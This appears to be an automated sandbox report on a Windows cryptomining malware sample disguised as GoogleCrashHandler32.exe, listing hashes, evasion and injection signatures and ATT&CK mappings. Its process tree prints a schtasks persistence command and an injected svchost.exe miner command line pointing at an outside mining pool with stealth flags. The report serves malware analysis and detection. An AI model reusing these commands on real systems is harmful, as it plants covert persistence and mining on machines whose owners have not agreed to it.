df0bc1a4eb32d964f7405e8238e28d4c67e33e8552c708247a4cd654a30b836d

Analysis

max time kernel
151s
max time network
45s
platform
windows7_x64
resource
win7v20210408
submitted
17/05/2021, 13:27

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General

Target
GoogleCrashHandler32.exe
Size 4.1MB
Sample210517-e2s7dqfcaa
SHA256 df0bc1a4eb32d964f7405e8238e28d4c67e33e8552c708247a4cd654a30b836d
MD5 6fb31a4c8e4dac75c5ce93f191439f5c
SHA1 3775fe043433150b5fcfc58417344bb5539e1bd0
SHA512 53d519d8e5bc8468d4f3c0f74304dcdca24ccbe9ba957df882ed586191e7c4d6fce7177b8e634b460ae4409e1a5e074b2306be64301330cc345d0cc19b2c71e1
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
408	GoogleCrashHandler32.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	GoogleCrashHandler32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	GoogleCrashHandler32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	GoogleCrashHandler32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	GoogleCrashHandler32.exe

Loads dropped DLL 1 IoCs

pid	Process
1808	GoogleCrashHandler32.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 408 set thread context of 380	408	GoogleCrashHandler32.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1200	schtasks.exe
1620	schtasks.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1808	GoogleCrashHandler32.exe
Token: SeDebugPrivilege	408	GoogleCrashHandler32.exe
Token: SeLockMemoryPrivilege	380	svchost.exe
Token: SeLockMemoryPrivilege	380	svchost.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 1808 wrote to memory of 532	1808	GoogleCrashHandler32.exe	29
PID 1808 wrote to memory of 532	1808	GoogleCrashHandler32.exe	29
PID 1808 wrote to memory of 532	1808	GoogleCrashHandler32.exe	29
PID 532 wrote to memory of 1200	532	cmd.exe	31
PID 532 wrote to memory of 1200	532	cmd.exe	31
PID 532 wrote to memory of 1200	532	cmd.exe	31
PID 1808 wrote to memory of 408	1808	GoogleCrashHandler32.exe	32
PID 1808 wrote to memory of 408	1808	GoogleCrashHandler32.exe	32
PID 1808 wrote to memory of 408	1808	GoogleCrashHandler32.exe	32
PID 408 wrote to memory of 1548	408	GoogleCrashHandler32.exe	33
PID 408 wrote to memory of 1548	408	GoogleCrashHandler32.exe	33
PID 408 wrote to memory of 1548	408	GoogleCrashHandler32.exe	33
PID 1548 wrote to memory of 1620	1548	cmd.exe	35
PID 1548 wrote to memory of 1620	1548	cmd.exe	35
PID 1548 wrote to memory of 1620	1548	cmd.exe	35
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37
PID 408 wrote to memory of 380	408	GoogleCrashHandler32.exe	37

C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler32.exe
"C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler32.exe"
1⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleCrashHandler32" /tr '"C:\Users\Admin\GoogleCrashHandler32.exe"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:532
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "GoogleCrashHandler32" /tr '"C:\Users\Admin\GoogleCrashHandler32.exe"'
    3⤵
    - Creates scheduled task(s)
    PID:1200
- C:\Users\Admin\GoogleCrashHandler32.exe
  "C:\Users\Admin\GoogleCrashHandler32.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:408
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleCrashHandler32" /tr '"C:\Users\Admin\GoogleCrashHandler32.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1548
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "GoogleCrashHandler32" /tr '"C:\Users\Admin\GoogleCrashHandler32.exe"'
      4⤵
      Creates scheduled task(s)
      PID:1620
- - C:\Windows\System32\svchost.exe
    C:\Windows/System32\svchost.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=worldexpressdelivery.art:5555 --user=x --pass=x --cpu-max-threads-hint=20 --donate-level=5 --cinit-idle-wait=6 --cinit-idle-cpu=90 --nicehash --tls --cinit-stealth
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:380

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/380-81-0x0000000140000000-0x0000000140758000-memory.dmp

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memory/380-80-0x0000000000260000-0x0000000000280000-memory.dmp

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memory/380-78-0x0000000140000000-0x0000000140758000-memory.dmp

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memory/408-77-0x0000000000970000-0x000000000097A000-memory.dmp

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memory/408-69-0x000000013FBD0000-0x000000013FBD1000-memory.dmp

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memory/408-72-0x0000000004460000-0x0000000004462000-memory.dmp

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memory/408-73-0x0000000000920000-0x0000000000921000-memory.dmp

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memory/1808-59-0x000000013FA30000-0x000000013FA31000-memory.dmp

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memory/1808-63-0x0000000002150000-0x0000000002151000-memory.dmp

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memory/1808-62-0x0000000024540000-0x0000000024542000-memory.dmp

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memory/1808-61-0x0000000024DA0000-0x0000000024FCF000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads